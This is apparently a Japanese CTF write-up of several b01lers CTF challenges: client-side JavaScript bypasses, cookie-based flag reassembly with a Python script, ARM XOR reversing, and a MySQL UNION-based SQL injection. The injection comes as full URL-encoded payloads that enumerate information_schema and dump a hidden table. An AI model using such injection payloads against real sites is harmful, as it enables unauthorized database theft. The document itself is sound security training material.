3 月 14 日から 3 月 16 日にかけて開催された b01lers CTF に、チーム zer0pts として参加しました。最終的にチームで 4103 点を獲得し、順位は 1 点以上得点した 660 チーム中 6 位でした。うち、私は 7 問を解いて 503 点を入れました。
以下、私が解いた問題の write-up です。
This was supposed to be my weekend off, but noooo, you got me out here, draggin’ your heavy ass through the burning desert, with your dreadlocks sticking out the back of my parachute. You gotta come down here with an attitude, actin’ all big and bad. And what the hell is that smell? I coulda been at a barbecue, but I ain’t mad.
(URL)
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
</head>
<body>
<h1>AMBUSH!</h1>
<p>You've gotta escape!</p>
<img src="/static/img/f18.png" alt="alien mothership" style="width:60vw;" />
<script>
document.onkeydown = function(event) {
event = event || window.event;
if (event.keyCode == 27) {
event.preventDefault();
window.location = "/chase/";
} else die();
};
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function dietimer() {
await sleep(10000);
die();
}
function die() {
window.location = "/die/";
}
dietimer();
</script>
</body>
</html>
10 秒経つ前に Esc キーを押すと /chase/
に遷移されるようです。アクセスすると以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
</head>
<body>
<h1>CHASE!</h1>
<p>
You managed to chase one of the enemy fighters, but there's a wall coming
up fast!
</p>
<button onclick="left()">Left</button>
<button onclick="right()">Right</button>
<img
src="/static/img/Canyon_Chase_16.png"
alt="canyon chase"
style="width:60vw;"
/>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function dietimer() {
await sleep(1000);
die();
}
function die() {
window.location = "/die/";
}
function left() {
window.location = "/die/";
}
function leftt() {
window.location = "/leftt/";
}
function right() {
window.location = "/die/";
}
dietimer();
</script>
</body>
</html>
Left
ボタンと Right
ボタンのいずれを押しても /die/
に遷移されてしまうようです。leftt
というどこからも呼ばれていない関数なら /leftt/
に遷移されるようです。アクセスすると以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
</head>
<body>
<h1>SHOOT IT</h1>
<p>You've got the bogey in your sights, take the shot!</p>
<img
src="/static/img/locked.png"
alt="locked on"
style="width:60vw;"
/>
</br>
<button onClick="window.location='/die/'">Take the shot</button>
<!-- <button onClick="window.location='/shoot/'">Take the shot</button> -->
</body>
</html>
コメントアウトされている Take the shot
というボタンを押すと /shoot/
に遷移されるようです。アクセスすると以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
</head>
<body>
<h1>YOU SHOT IT DOWN!</h1>
<p>Well done! You also crash in the process</p>
<img src="/static/img/parachute.png" alt="parachute" style="width:60vw;" />
<button onClick="window.location='/door/'">Continue</button>
</body>
</html>
Continue
ボタンを押すと /door/
に遷移されます。アクセスすると以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
<script src="/static/js/door.js"></script>
</head>
<body>
<h1>YOU APPROACH THE ALIEN CRAFT!</h1>
<p>How do you get inside?</p>
<img src="/static/img/ship.png" alt="crashed ship" style="width:60vw;" />
<form id="door_form">
<input type="radio" name="side" value="0" />0
<input type="radio" name="side" value="1" />1
<input type="radio" name="side" value="2" />2
︙
<input type="radio" name="side" value="357" />357
<input type="radio" name="side" value="358" />358
<input type="radio" name="side" value="359" />359
</form>
<button onClick="check_door()">Check</button>
</body>
</html>
わあ、360 個のラジオボタンが表示されました。Check
ボタンを押すと check_door
が呼ばれるようです。実装は /static/js/door.js
にあるはずですから、確認しましょう。
function check_door() {
var all_radio = document.getElementById("door_form").elements;
var guess = null;
for (var i = 0; i < all_radio.length; i++)
if (all_radio[i].checked) guess = all_radio[i].value;
rand = Math.floor(Math.random() * 360);
if (rand == guess) window.location = "/open/";
else window.location = "/die/";
}
360 分の 1 の確率で /open/
に遷移されるようです。アクセスすると以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
<script src="/static/js/open_sesame.js"></script>
</head>
<body>
<h1>YOU FOUND THE DOOR!</h1>
<p>How do you open it?</p>
<img src="/static/img/door.jpg" alt="door" style="width:60vw;" />
<script>
open(0);
</script>
</body>
</html>
/static/js/open_sesame.js
は以下のような内容でした。
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function open(i) {
sleep(1).then(() => {
open(i + 1);
});
if (i == 4000000000) window.location = "/fight/";
}
4000000000 秒ぐらい待てば /fight/
に遷移されるようです。アクセスすると以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Earth</title>
<script src="/static/js/fight.js"></script>
</head>
<body>
<h1>AN ALIEN!</h1>
<p>What do you do?</p>
<img
src="/static/img/alien.png"
alt="door"
style="width:60vw;"
/>
</br>
<input type="text" id="action">
<button onClick="check_action()">Fight!</button>
</body>
</html>
/static/js/fight.js
は以下のような内容でした。
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}
function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];
// TODO: unscramble function
}
フラグがシャッフルされて flag
に格納されているようです。これぐらいなら手で直せます。
pctf{hey_boys_im_baaaaaaaaaack!}
We earth men have a talent for ruining big, beautiful things.
(URL)
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
<!DOCTYPE html>
<html lang="en">
<head>
<title>Life On Mars</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link
rel="stylesheet"
href="/static/css/bootstrap.min.css"
/>
<link
rel="stylesheet"
href="/static/css/life_on_mars.css"
/>
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/popper.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
<script src="/static/js/life_on_mars.js"></script>
</head>
<body>
<div class="wrapper">
<!-- Sidebar -->
<nav id="sidebar">
<div class="sidebar-header">
<h3>Discovered Life</h3>
</div>
<ul class="list-unstyled components">
<li class="active">
<a href="/">Home</a>
</li>
<li>
<a
onclick="get_life('amazonis_planitia');"
href="javascript:void(0);"
>Amazonis Planitia</a
>
</li>
<li>
<a onclick="get_life('olympus_mons');" href="javascript:void(0);"
>Olympus Mons</a
>
</li>
<li>
<a onclick="get_life('tharsis_rise');" href="javascript:void(0);"
>Tharsis Rise</a
>
</li>
<li>
<a onclick="get_life('chryse_planitia');" href="javascript:void(0);"
>Chryse Planitia</a
>
</li>
<li>
<a onclick="get_life('arabia_terra');" href="javascript:void(0);"
>Arabia Terra</a
>
</li>
<li>
<a onclick="get_life('noachis_terra');" href="javascript:void(0);"
>Noachis Terra</a
>
</li>
<li>
<a onclick="get_life('hellas_basin');" href="javascript:void(0);"
>Hellas Basin</a
>
</li>
<li>
<a onclick="get_life('utopia_basin');" href="javascript:void(0);"
>Utopia Basin</a
>
</li>
<li>
<a onclick="get_life('hesperia_planum');" href="javascript:void(0);"
>Hesperia Planum</a
>
</li>
</ul>
</nav>
<div id="content" style="width:80%">
<div class="jumbotron text-center">
<h1 class="display-1">Life On Mars</h1>
</div>
<div class="container">
<h4 id="results">
This is a website about life on Mars. It includes much information
on various species in only some of the Martian terrain.
</h4>
</div>
</div>
</div>
</body>
</html>
Amazonis Planitia
や Olympus Mons
のようなリンクをクリックすると Name
と Description
というカラム名のテーブルが表示されました。Google Chrome の DevTools で Network タブを開いて観察していると、それぞれ /query?search=amazonis_planitia&{}&_=(タイムスタンプ)
と /query?search=olympus_mons&{}&_=(タイムスタンプ)
へのリクエストが飛んでいることが確認できました。返ってきたレスポンスはテーブルに表示するための JSON のようで、[["Aaamazzarite","…"], …, ["Zakdorns",""]]
というような内容でした。
これは SQLi のにおいがします。GET パラメータの search
を ' or 1;#
や " or 1;#
に変えても 1
としか返ってきません。おそらくエラーでしょう。もしかして SELECT name, description FROM (search)
のようにテーブル名部分に search
をそのまま挿入しているのではないかと考え /query?search=olympus_mons%20where%200%20union%20select%201,2;%23
にアクセスしてみたところ、[["1","2"]]
が返ってきました。思っていた通りのようです。
/query?search=olympus_mons%20where%200%20union%20select%201,version();%23
にアクセスすると [["1","5.7.29"]]
が返ってきました。5.7.29
でググると MySQL のドキュメントが多くヒットすることから、MySQL が使われていることが推測できます。information_schema.tables
からテーブル情報を取得しましょう。/query?search=olympus_mons%20where%200%20union%20select%20table_name,table_schema%20from%20information_schema.tables;%23
にアクセスすると以下のような JSON が返ってきました。
[["CHARACTER_SETS","information_schema"],["COLLATIONS","information_schema"],["COLLATION_CHARACTER_SET_APPLICABILITY","information_schema"],["COLUMNS","information_schema"],["COLUMN_PRIVILEGES","information_schema"],["ENGINES","information_schema"],["EVENTS","information_schema"],["FILES","information_schema"],["GLOBAL_STATUS","information_schema"],["GLOBAL_VARIABLES","information_schema"],["KEY_COLUMN_USAGE","information_schema"],["OPTIMIZER_TRACE","information_schema"],["PARAMETERS","information_schema"],["PARTITIONS","information_schema"],["PLUGINS","information_schema"],["PROCESSLIST","information_schema"],["PROFILING","information_schema"],["REFERENTIAL_CONSTRAINTS","information_schema"],["ROUTINES","information_schema"],["SCHEMATA","information_schema"],["SCHEMA_PRIVILEGES","information_schema"],["SESSION_STATUS","information_schema"],["SESSION_VARIABLES","information_schema"],["STATISTICS","information_schema"],["TABLES","information_schema"],["TABLESPACES","information_schema"],["TABLE_CONSTRAINTS","information_schema"],["TABLE_PRIVILEGES","information_schema"],["TRIGGERS","information_schema"],["USER_PRIVILEGES","information_schema"],["VIEWS","information_schema"],["INNODB_LOCKS","information_schema"],["INNODB_TRX","information_schema"],["INNODB_SYS_DATAFILES","information_schema"],["INNODB_FT_CONFIG","information_schema"],["INNODB_SYS_VIRTUAL","information_schema"],["INNODB_CMP","information_schema"],["INNODB_FT_BEING_DELETED","information_schema"],["INNODB_CMP_RESET","information_schema"],["INNODB_CMP_PER_INDEX","information_schema"],["INNODB_CMPMEM_RESET","information_schema"],["INNODB_FT_DELETED","information_schema"],["INNODB_BUFFER_PAGE_LRU","information_schema"],["INNODB_LOCK_WAITS","information_schema"],["INNODB_TEMP_TABLE_INFO","information_schema"],["INNODB_SYS_INDEXES","information_schema"],["INNODB_SYS_TABLES","information_schema"],["INNODB_SYS_FIELDS","information_schema"],["INNODB_CMP_PER_INDEX_RESET","information_schema"],["INNODB_BUFFER_PAGE","information_schema"],["INNODB_FT_DEFAULT_STOPWORD","information_schema"],["INNODB_FT_INDEX_TABLE","information_schema"],["INNODB_FT_INDEX_CACHE","information_schema"],["INNODB_SYS_TABLESPACES","information_schema"],["INNODB_METRICS","information_schema"],["INNODB_SYS_FOREIGN_COLS","information_schema"],["INNODB_CMPMEM","information_schema"],["INNODB_BUFFER_POOL_STATS","information_schema"],["INNODB_SYS_COLUMNS","information_schema"],["INNODB_SYS_FOREIGN","information_schema"],["INNODB_SYS_TABLESTATS","information_schema"],["code","alien_code"],["amazonis_planitia","aliens"],["arabia_terra","aliens"],["chryse_planitia","aliens"],["hellas_basin","aliens"],["hesperia_planum","aliens"],["noachis_terra","aliens"],["olympus_mons","aliens"],["tharsis_rise","aliens"],["utopia_basin","aliens"]]
alien_code.code
という、information_schema
を除いてひとつだけデータベースが aliens
でない怪しげなテーブルがあります。/query?search=olympus_mons%20where%200%20union%20select%20*%20from%20alien_code.code;%23
にアクセスすると以下のような JSON が返ってきました。
[["0","pctf{no_intelligent_life_here}"]]
フラグが得られました。
pctf{no_intelligent_life_here}
I was scanning through the skies. And missed the static in your eyes. Something blocking your reception. It’s distorting our connection. With the distance amplified. Was it all just synthesized? And now the silence screams that you are gone. You’ve tuned me out. I’ve lost your frequency.
(URL)
与えられた URL にアクセスすると、以下のようなレスポンスが返ってきました。
$ curl -i http://(省略)
HTTP/1.1 200 OK
Host: (省略)
Date: Thu, 19 Mar 2020 00:18:32 GMT
Connection: close
X-Powered-By: PHP/7.4.2
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:28:32 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=0; expires=Thu, 19-Mar-2020 00:28:32 GMT; Max-Age=600; path=/
Refresh:0
Content-type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
</head>
<body style="background-image:url('./back.jpg');background-repeat:none;text-align:center;">
<button onClick="window.location.reload()" style="position:absolute; bottom:0; left:50%;">Reload</button>
<iframe width="560" height="315" src="https://www.youtube.com/embed/jE4przMkUqo?autoplay=1" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
</body>
</html>
frequency
と transmissions
という Cookie が発行されているようです。保存して送信してみましょう。
$ curl -i http://(省略) -b "frequency=0" -b "transmissions=0"
HTTP/1.1 200 OK
Host: (省略)
Date: Thu, 19 Mar 2020 00:19:26 GMT
Connection: close
X-Powered-By: PHP/7.4.2
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:29:26 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=kxkxkxkxshe%2C44kxkxkxkxsh; expires=Thu, 19-Mar-2020 00:29:26 GMT; Max-Age=600; path=/
Content-type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
</head>
<body style="background-image:url('./back.jpg');background-repeat:none;text-align:center;">
<button onClick="window.location.reload()" style="position:absolute; bottom:0; left:50%;">Reload</button>
<iframe width="560" height="315" src="https://www.youtube.com/embed/jE4przMkUqo?autoplay=1" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
</body>
</html>
$ curl -i http://(省略) -b "frequency=0" -b "transmissions=0"
︙
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:31:18 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=kxkxkxkxsh%7BD4kxkxkxkxsh; expires=Thu, 19-Mar-2020 00:31:18 GMT; Max-Age=600; path=/
︙
$ curl -i http://(省略) -b "frequency=0" -b "transmissions=0"
︙
Set-Cookie: frequency=0; expires=Thu, 19-Mar-2020 00:31:19 GMT; Max-Age=600; path=/
Set-Cookie: transmissions=kxkxkxkxshes39kxkxkxkxsh; expires=Thu, 19-Mar-2020 00:31:19 GMT; Max-Age=600; path=/
︙
返ってくるコンテンツは同じですが、Cookie の transmissions
は毎回変わっていますが、フォーマットはいずれも kxkxkxkxsh(2 文字の文字列)(数値)kxkxkxkxsh
のようです。(2 文字の文字列)(数値)
の部分を集めて数値部分でソートしてみましょう。
import urllib.request
import requests
URL = 'http://(省略)/'
result = [None for _ in range(68)]
while None in result:
r = requests.get(URL, cookies={'frequency': '0', 'transmissions': '0'})
r = urllib.request.unquote(r.cookies['transmissions']).replace('kxkxkxkxsh', '')
result[int(r[2:])] = r[:2]
print(result)
$ python3 test.py
︙
['pc', 'ct', 'tf', 'f{', '{D', 'Do', 'ow', 'wn', 'n_', '_W', 'Wi', 'it', 'th', 'h_', '_t', 'th', 'he', 'e_', '_F', 'Fa', 'al', 'll', 'le', 'en', 'n,', ',C', 'Ca', 'ar', 'rn', 'ni', 'iv', 'vo', 'or', 're', 'e,', ',T', 'Te', 'el', 'le', 'es', 'sc', 'co', 'op', 'pe', 'e,', ',I', 'It', 't_', '_H', 'Ha', 'as', 's_', '_B', 'Be', 'eg', 'gu', 'un', 'n,', ',M', 'My', 'y_', '_D', 'De', 'em', 'mo', 'on', 'ns', None]
︙
フラグがちょっとずつ送信されていたようです。各要素の 1 文字目を結合しましょう。
>>> s = ['pc', 'ct', 'tf', 'f{', '{D', 'Do', 'ow', 'wn', 'n_', '_W', 'Wi', 'it', 'th', 'h_', '_t', 'th', 'he', 'e_', '_F', 'Fa', 'al', 'll', 'le', 'en', 'n,', ',C', 'Ca', 'ar', 'rn', 'ni', 'iv', 'vo', 'or', 're', 'e,', ',T', 'Te', 'el', 'le', 'es', 'sc', 'co', 'op', 'pe', 'e,', ',I', 'It', 't_', '_H', 'Ha', 'as', 's_', '_B', 'Be', 'eg', 'gu', 'un', 'n,', ',M', 'My', 'y_', '_D', 'De', 'em', 'mo', 'on', 'ns', None]
>>> ''.join(str(c)[0] for c in s)
'pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_DemonN'
フラグが得られました。
pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_Demons}
My favorite, ARM and Trains!
添付ファイル: train_arms.tgz
与えられたファイルを展開すると、main.s
という以下のような ARM っぽいアセンブリと、result.txt
というおそらく main.s
をアセンブルして実行した結果が出てきました。
.cpu cortex-m0
.thumb
.syntax unified
.fpu softvfp
.data
flag: .string "REDACTED" //len = 28
.text
.global main
main:
ldr r0,=flag
eors r1,r1
eors r2,r2
movs r7,#1
movs r6,#42
loop:
ldrb r2,[r0,r1]
cmp r2,#0
beq exit
lsls r3,r1,#0
ands r3,r7
cmp r3,#0
bne f1//if odd
strb r2,[r0,r1]
adds r1,#1
b loop
f1:
eors r2,r6
strb r2,[r0,r1]
adds r1,#1
b loop
exit:
wfi
フラグの奇数文字目を 42
と XOR しているようです。
$ python2
>>> from pwn import *
>>> xor(s, '\x00*')
'pctf{tr41ns_d0nt_h4v3_arms}'
フラグが得られました。
pctf{tr41ns_d0nt_h4v3_arms}